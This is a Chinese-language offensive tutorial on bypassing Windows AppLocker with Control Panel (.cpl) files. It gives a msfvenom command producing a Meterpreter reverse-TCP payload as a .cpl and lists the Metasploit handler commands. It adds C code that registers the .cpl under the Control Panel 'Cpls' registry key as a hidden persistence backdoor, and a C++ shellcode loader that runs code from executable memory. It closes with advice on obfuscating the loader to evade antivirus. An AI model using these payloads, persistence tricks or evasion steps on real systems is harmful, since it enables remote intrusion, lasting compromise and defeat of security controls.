cpl文件的应用
bypass Windows AppLocker
什么是Windows AppLocker
: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。
默认的Applocker规则集合,可以看到cpl并不在默认规则中:
开启Applocker规则: 打开计算机管理,选择服务,将Application Identity
服务开启
然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则
默认规则为:
假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行
绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd
msf直接生成cpl文件
生成cpl文件msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl
将文件拖到本地并运行,msf监听
-
use exploit/multi/handler
-
set payload windows/meterpreter/reverse_tcp
-
set lhost 192.168.111.128
-
set lport 8877
-
exploit
这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl
创建一个项目,作用为修改注册表:
HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
不一定将cpl文件放到c盘更目录,可以自定义路径 执行后
然后这里在开启control.exe时,test.cpl文件也会被打开。
如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。
除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。
使用shellcode自己做一个cpl文件
直接上代码
#include "pch.h"
#include "windows.h"
extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsigned char buf[] = "shellcode";
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这是最最最最基础的loader 先打开control.exe
看看效果
看看查杀率
这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。
经过一系列处理后,找杀毒能力还比较强的360试一下